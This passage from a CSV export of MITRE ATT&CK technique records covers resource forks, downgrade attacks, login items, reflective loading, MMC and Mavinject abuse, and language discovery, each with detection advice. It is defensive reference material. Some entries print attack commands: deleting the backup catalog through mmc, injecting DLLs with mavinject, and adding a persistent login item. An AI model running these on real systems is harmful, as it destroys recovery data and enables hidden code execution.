22). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020.'}, {'source_name': 'GitHub Turla Driver Loader', 'url': 'https://github.com/hfiref0x/TDL', 'description': 'TDL Project. (2016, February 4). TDL (Turla Driver Loader). Retrieved April 22, 2021.'}, {'url': 'https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf', 'description': 'F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.', 'source_name': 'F-Secure BlackEnergy 2014'}, {'source_name': 'Unit42 AcidBox June 2020', 'url': 'https://unit42.paloaltonetworks.com/acidbox-rare-malware/', 'description': 'Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1553/006,mitre-attack,T1553.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Code Signing Policy Modification,"Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system. +kill_chain_phases,external_references,x_mitre_version,type,id,created_by_ref,created,modified,technique,technique_description,tactic,url,matrix,technique_id,object_marking_refs,contributors,data_sources,defense_bypassed,technique_detection,is_subtechnique,permissions_required,platform,remote_support,capec_id,capec_url,system_requirements,network_requirements,effective_permissions,impact_type,tactic_type,x_mitre_old_attack_id +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1564/009', 'external_id': 'T1564.009'}, {'source_name': 'macOS Hierarchical File System Overview', 'description': 'Tenon. (n.d.). Retrieved October 12, 2021.', 'url': 'http://tenon.com/products/codebuilder/User_Guide/6_File_Systems.html#anchor520553'}, {'source_name': 'Resource and Data Forks', 'description': 'Flylib. (n.d.). Identifying Resource and Data Forks. Retrieved October 12, 2021.', 'url': 'https://flylib.com/books/en/4.395.1.192/1/'}, {'source_name': 'ELC Extended Attributes', 'description': ""Howard Oakley. (2020, October 24). There's more to files than data: Extended Attributes. Retrieved October 12, 2021."", 'url': 'https://eclecticlight.co/2020/10/24/theres-more-to-files-than-data-extended-attributes/'}, {'source_name': 'sentinellabs resource named fork 2020', 'description': 'Phil Stokes. (2020, November 5). Resourceful macOS Malware Hides in Named Fork. Retrieved October 12, 2021.', 'url': 'https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/'}, {'source_name': 'tau bundlore erika noerenberg 2020', 'description': 'Erika Noerenberg. (2020, June 29). TAU Threat Analysis: Bundlore (macOS) mm-install-macos. Retrieved October 12, 2021.', 'url': 'https://blogs.vmware.com/security/2020/06/tau-threat-analysis-bundlore-macos-mm-install-macos.html'}]",1.0,attack-pattern,attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-10-12T20:02:31.866Z,2021-10-16T01:50:40.276Z,Resource Forking,"Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file’s extended attributes, using ls -l@ or xattr -l commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the /Resources folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes) + +Adversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)",['defense-evasion'],https://attack.mitre.org/techniques/T1564/009,mitre-attack,T1564.009,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jaron Bradley @jbradley89', 'Ivan Sinyakov']","['File: File Creation', 'Process: Process Creation', 'File: File Metadata', 'Command: Command Execution']",['Notarization; Gatekeeper'],"Identify files with the com.apple.ResourceFork extended attribute and large data amounts stored in resource forks. + +Monitor command-line activity leveraging the use of resource forks, especially those immediately followed by potentially malicious activity such as creating network connections. ",True,['User'],['macOS'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1562/010', 'external_id': 'T1562.010'}, {'source_name': 'CrowdStrike BGH Ransomware 2021', 'description': 'Falcon Complete Team. (2021, May 11). Response When Minutes Matter: Rising Up Against Ransomware. Retrieved October 8, 2021.', 'url': 'https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/'}, {'source_name': 'Mandiant BYOL 2018', 'description': 'Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) – A Novel Red Teaming Technique. Retrieved October 8, 2021.', 'url': 'https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique'}, {'source_name': 'Praetorian TLS Downgrade Attack 2014', 'description': 'Praetorian. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved October 8, 2021.', 'url': 'https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/'}]",1.0,attack-pattern,attack-pattern--824add00-99a1-4b15-9a2d-6c5683b7b497,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-10-08T14:06:28.212Z,2021-10-15T00:48:06.723Z,Downgrade Attack,"Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls such as logging. For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018) + +Adversaries may downgrade and use less-secure versions of various features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557).(Citation: Praetorian TLS Downgrade Attack 2014)",['defense-evasion'],https://attack.mitre.org/techniques/T1562/010,mitre-attack,T1562.010,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Process: Process Metadata', 'Process: Process Creation']",,"Monitor for commands or other activity that may be indicative of attempts to abuse older or deprecated technologies (ex: powershell –v 2). Also monitor for other abnormal events, such as execution of and/or processes spawning from a version of a tool that is not expected in the environment.",True,['User'],"['Windows', 'Linux', 'macOS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1547/015', 'external_id': 'T1547.015'}, {'source_name': 'Open Login Items Apple', 'description': 'Apple. (n.d.). Open items automatically when you log in on Mac. Retrieved October 1, 2021.', 'url': 'https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac'}, {'source_name': 'Adding Login Items', 'description': 'Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.', 'url': 'https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html'}, {'source_name': 'SMLoginItemSetEnabled Schroeder 2013', 'description': 'Tim Schroeder. (2013, April 21). SMLoginItemSetEnabled Demystified. Retrieved October 5, 2021.', 'url': 'https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/'}, {'source_name': 'Launch Services Apple Developer', 'description': 'Apple. (n.d.). Launch Services. Retrieved October 5, 2021.', 'url': 'https://developer.apple.com/documentation/coreservices/launch_services'}, {'source_name': 'ELC Running at startup', 'description': 'hoakley. (2018, May 22). Running at startup: when to use a Login Item or a LaunchAgent/LaunchDaemon. Retrieved October 5, 2021.', 'url': 'https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/'}, {'source_name': 'Login Items AE', 'description': 'Apple. (n.d.). Login Items AE. Retrieved October 4, 2021.', 'url': 'https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788'}, {'source_name': 'Startup Items Eclectic', 'description': 'hoakley. (2021, September 16). How to run an app or tool at startup. Retrieved October 5, 2021.', 'url': 'https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/'}, {'source_name': 'hexed osx.dok analysis 2019', 'description': 'fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October 4, 2021.', 'url': 'http://www.hexed.in/2019/07/osxdok-analysis.html'}, {'source_name': 'Add List Remove Login Items Apple Script', 'description': 'kaloprominat. (2013, July 30). macos: manage add list remove login items apple script. Retrieved October 5, 2021.', 'url': 'https://gist.github.com/kaloprominat/6111584'}, {'source_name': 'objsee mac malware 2017', 'description': 'Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.', 'url': 'https://objective-see.com/blog/blog_0x25.html'}, {'source_name': 'CheckPoint Dok', 'description': 'Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021.', 'url': 'https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/'}, {'source_name': 'objsee netwire backdoor 2019', 'description': 'Patrick Wardle. (2019, June 20). Burned by Fire(fox). Retrieved October 1, 2021.', 'url': 'https://objective-see.com/blog/blog_0x44.html'}, {'source_name': 'objsee block blocking login items', 'description': 'Patrick Wardle. (2018, July 23). Block Blocking Login Items. Retrieved October 1, 2021.', 'url': 'https://objective-see.com/blog/blog_0x31.html'}, {'source_name': 'sentinelone macos persist Jun 2019', 'description': 'Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.', 'url': 'https://www.sentinelone.com/blog/how-malware-persists-on-macos/'}, {'source_name': 'Launch Service Keys Developer Apple', 'description': 'Apple. (2018, June 4). Launch Services Keys. Retrieved October 5, 2021.', 'url': 'https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1'}]",1.0,attack-pattern,attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-10-05T21:26:15.081Z,2021-10-18T16:36:37.042Z,Login Items,"Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call SMLoginItemSetEnabled. + +Login items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications. + +Adversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application “System Events” to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)","['persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1547/015,mitre-attack,T1547.015,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'File: File Modification', 'File: File Creation']",,"All login items created via shared file lists are viewable by using the System Preferences GUI or in the ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited for known good applications. + +Otherwise, login Items are located in Contents/Library/LoginItems within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) Monitor applications that leverage login items with either the LSUIElement or LSBackgroundOnly key in the Info.plist file set to true.(Citation: Adding Login Items)(Citation: Launch Service Keys Developer Apple) + +Monitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior,, such as establishing network connections.",True,['User'],['macOS'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1620', 'external_id': 'T1620'}, {'source_name': 'Introducing Donut', 'description': 'The Wover. (2019, May 9). Donut - Injecting .NET Assemblies as Shellcode. Retrieved October 4, 2021.', 'url': 'https://thewover.github.io/Introducing-Donut/'}, {'source_name': 'S1 Custom Shellcode Tool', 'description': 'Bunce, D. (2019, October 31). Building A Custom Tool For Shellcode Analysis. Retrieved October 4, 2021.', 'url': 'https://www.sentinelone.com/blog/building-a-custom-tool-for-shellcode-analysis/'}, {'source_name': 'Stuart ELF Memory', 'description': 'Stuart. (2018, March 31). In-Memory-Only ELF Execution (Without tmpfs). Retrieved October 4, 2021.', 'url': 'https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html'}, {'source_name': '00sec Droppers', 'description': '0x00pico. (2017, September 25). Super-Stealthy Droppers. Retrieved October 4, 2021.', 'url': 'https://0x00sec.org/t/super-stealthy-droppers/3715'}, {'source_name': 'Mandiant BYOL', 'description': 'Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) – A Novel Red Teaming Technique. Retrieved October 4, 2021.', 'url': 'https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique'}, {'source_name': 'Intezer ACBackdoor', 'description': 'Sanmillan, I. (2019, November 18). ACBackdoor: Analysis of a New Multiplatform Backdoor. Retrieved October 4, 2021.', 'url': 'https://www.intezer.com/blog/research/acbackdoor-analysis-of-a-new-multiplatform-backdoor/'}, {'source_name': 'S1 Old Rat New Tricks', 'description': 'Landry, J. (2016, April 21). Teaching an old RAT new tricks. Retrieved October 4, 2021.', 'url': 'https://www.sentinelone.com/blog/teaching-an-old-rat-new-tricks/'}, {'source_name': 'MDSec Detecting DOTNET', 'description': 'MDSec Research. (n.d.). Detecting and Advancing In-Memory .NET Tradecraft. Retrieved October 4, 2021.', 'url': 'https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/'}]",1.0,attack-pattern,attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-10-05T01:15:06.293Z,2021-11-01T18:09:09.670Z,Reflective Code Loading,"Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk. Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL) + +Reflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the “injection” loads code into the processes’ own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)",['defense-evasion'],https://attack.mitre.org/techniques/T1620,mitre-attack,T1620,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['João Paulo de A. Filho, @Hug1nN__', 'Joas Antonio dos Santos, @C0d3Cr4zy', 'Shlomi Salem, SentinelOne', 'Lior Ribak, SentinelOne', 'Rex Guo, @Xiaofei_REX, Confluera']","['Script: Script Execution', 'Process: OS API Execution', 'Module: Module Load']","['Application control', 'Anti-virus']","Monitor for code artifacts associated with reflectively loading code, such as the abuse of .NET functions such as Assembly.Load() and [Native API](https://attack.mitre.org/techniques/T1106) functions such as CreateThread(), memfd_create(), execve(), and/or execveat().(Citation: 00sec Droppers)(Citation: S1 Old Rat New Tricks) + +Monitor for artifacts of abnormal process execution. For example, a common signature related to reflective code loading on Windows is mechanisms related to the .NET Common Language Runtime (CLR) -- such as mscor.dll, mscoree.dll, and clr.dll -- loading into abnormal processes (such as notepad.exe). Similarly, AMSI / ETW traces can be used to identify signs of arbitrary code execution from within the memory of potentially compromised processes.(Citation: MDSec Detecting DOTNET)(Citation: Introducing Donut) + +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",False,['User'],"['macOS', 'Linux', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1619', 'external_id': 'T1619'}, {'source_name': 'ListObjectsV2', 'description': 'Amazon - ListObjectsV2. Retrieved October 4, 2021.', 'url': 'https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjectsV2.html'}, {'source_name': 'List Blobs', 'description': 'Microsoft - List Blobs. (n.d.). Retrieved October 4, 2021.', 'url': 'https://docs.microsoft.com/en-us/rest/api/storageservices/list-blobs'}]",1.0,attack-pattern,attack-pattern--8565825b-21c8-4518-b75e-cbc4c717a156,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-10-01T17:58:26.445Z,2021-10-07T18:19:25.352Z,Cloud Storage Object Discovery,"Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure. + +Cloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) .",['discovery'],https://attack.mitre.org/techniques/T1619,mitre-attack,T1619,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Regina Elwell', 'Isif Ibrahima']","['Cloud Storage: Cloud Storage Enumeration', 'Cloud Storage: Cloud Storage Access']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. +Monitor cloud logs for API calls used for file or object enumeration for unusual activity. ",False,,['IaaS'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1218/014', 'external_id': 'T1218.014'}, {'source_name': 'win_mmc', 'description': 'Microsoft. (2017, October 16). mmc. Retrieved September 20, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mmc'}, {'source_name': 'what_is_mmc', 'description': 'Microsoft. (2020, September 27). What is Microsoft Management Console?. Retrieved October 5, 2021.', 'url': 'https://docs.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/what-is-microsoft-management-console'}, {'source_name': 'win_msc_files_overview', 'description': 'Brinkmann, M.. (2017, June 10). Windows .msc files overview. Retrieved September 20, 2021.', 'url': 'https://www.ghacks.net/2017/06/10/windows-msc-files-overview/'}, {'source_name': 'win_wbadmin_delete_catalog', 'description': 'Microsoft. (2017, October 16). wbadmin delete catalog. Retrieved September 20, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-catalog'}, {'source_name': 'phobos_virustotal', 'description': 'Phobos Ransomware. (2020, December 30). Phobos Ransomware, Fast.exe. Retrieved September 20, 2021.', 'url': 'https://www.virustotal.com/gui/file/0b4c743246478a6a8c9fa3ff8e04f297507c2f0ea5d61a1284fe65387d172f81/detection '}, {'source_name': 'win_clsid_key', 'description': 'Microsoft. (2018, May 31). CLSID Key. Retrieved September 24, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows/win32/com/clsid-key-hklm'}, {'source_name': 'mmc_vulns', 'description': 'Boxiner, A., Vaknin, E. (2019, June 11). Microsoft Management Console (MMC) Vulnerabilities. Retrieved September 24, 2021.', 'url': 'https://research.checkpoint.com/2019/microsoft-management-console-mmc-vulnerabilities/'}, {'source_name': 'abusing_com_reg', 'description': 'bohops. (2018, August 18). ABUSING THE COM REGISTRY STRUCTURE (PART 2): HIJACKING & LOADING TECHNIQUES. Retrieved September 20, 2021.', 'url': 'https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/'}]",1.0,attack-pattern,attack-pattern--ffbcfdb0-de22-4106-9ed3-fc23c8a01407,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-09-28T01:36:41.638Z,2021-10-16T00:13:18.889Z,MMC,"Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console, or MMC, is a signed Windows binary and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview) + +For example, mmc C:\Users\foo\admintools.msc /a will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is mmc gpedit.msc, which will open the Group Policy Editor application window. + +Adversaries may use MMC commands to perform malicious tasks. For example, mmc wbadmin.msc delete catalog -quiet deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: wbadmin.msc may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal) + +Adversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding C:\path\to\test.msc.(Citation: abusing_com_reg)",['defense-evasion'],https://attack.mitre.org/techniques/T1218/014,mitre-attack,T1218.014,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Wes Hurd'],"['Process: Process Creation', 'File: File Creation', 'Command: Command Execution']","['Application control', 'Digital Certificate Validation']","Monitor processes and command-line parameters for suspicious or malicious use of MMC. Since MMC is a signed Windows binary, verify use of MMC is legitimate and not malicious. + +Monitor for creation and use of .msc files. MMC may legitimately be used to call Microsoft-created .msc files, such as services.msc or eventvwr.msc. Invoking non-Microsoft .msc files may be an indicator of malicious activity. ",True,"['User', 'Administrator']",['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1218/013', 'external_id': 'T1218.013'}, {'source_name': 'LOLBAS Mavinject', 'description': 'LOLBAS. (n.d.). Mavinject.exe. Retrieved September 22, 2021.', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/Mavinject/'}, {'source_name': 'ATT Lazarus TTP Evolution', 'description': 'Fernando Martinez. (2021, July 6). Lazarus campaign TTPs and evolution. Retrieved September 22, 2021.', 'url': 'https://cybersecurity.att.com/blogs/labs-research/lazarus-campaign-ttps-and-evolution'}, {'source_name': 'Reaqta Mavinject', 'description': 'Reaqta. (2017, December 16). From False Positive to True Positive: the story of Mavinject.exe, the Microsoft Injector. Retrieved September 22, 2021.', 'url': 'https://reaqta.com/2017/12/mavinject-microsoft-injector/'}, {'source_name': 'Mavinject Functionality Deconstructed', 'description': 'Matt Graeber. (2018, May 29). mavinject.exe Functionality Deconstructed. Retrieved September 22, 2021.', 'url': 'https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e'}]",1.0,attack-pattern,attack-pattern--1bae753e-8e52-4055-a66d-2ead90303ca9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-09-22T17:45:10.241Z,2021-10-14T22:11:03.446Z,Mavinject,"Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject) + +Adversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. C:\Windows\system32\mavinject.exe PID /INJECTRUNNING PATH_DLL).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe is digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. + +In addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its /HMODULE command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)",['defense-evasion'],https://attack.mitre.org/techniques/T1218/013,mitre-attack,T1218.013,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution']",,"Monitor the execution and arguments of mavinject.exe. Compare recent invocations of mavinject.exe with prior history of known good arguments and injected DLLs to determine anomalous and potentially adversarial activity. + +Adversaries may rename abusable binaries to evade detections, but the argument INJECTRUNNING is required for mavinject.exe to perform [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001) and may therefore be monitored to alert malicious activity.",True,['User'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1614/001', 'external_id': 'T1614.001'}, {'source_name': 'Malware System Language Check', 'description': 'Pierre-Marc Bureau. (2009, January 15). Malware Trying to Avoid Some Countries. Retrieved August 18, 2021.', 'url': 'https://www.welivesecurity.com/2009/01/15/malware-trying-to-avoid-some-countries/'}, {'source_name': 'CrowdStrike Ryuk January 2019', 'description': 'Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020.', 'url': 'https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/'}, {'source_name': 'Darkside Ransomware Cybereason', 'description': 'Cybereason Nocturnus. (2021, April 1). Cybereason vs. Darkside Ransomware. Retrieved August 18, 2021.', 'url': 'https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware'}, {'source_name': 'Securelist JSWorm', 'description': 'Fedor Sinitsyn. (2021, May 25). Evolution of JSWorm Ransomware. Retrieved August 18, 2021.', 'url': 'https://securelist.com/evolution-of-jsworm-ransomware/102428/'}, {'source_name': 'SecureList SynAck Doppelgänging May 2018', 'description': 'Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelgänging technique. Retrieved May 22, 2018.', 'url': 'https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/'}]",1.0,attack-pattern,attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-08-18T14:06:45.244Z,2021-10-15T22:00:56.174Z,System Language Discovery,"Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check) + +There are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Query Registry](https://attack.mitre.org/techniques/T1012) and calls to [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: CrowdStrike Ryuk January 2019) + +For example, on a Windows system adversaries may attempt 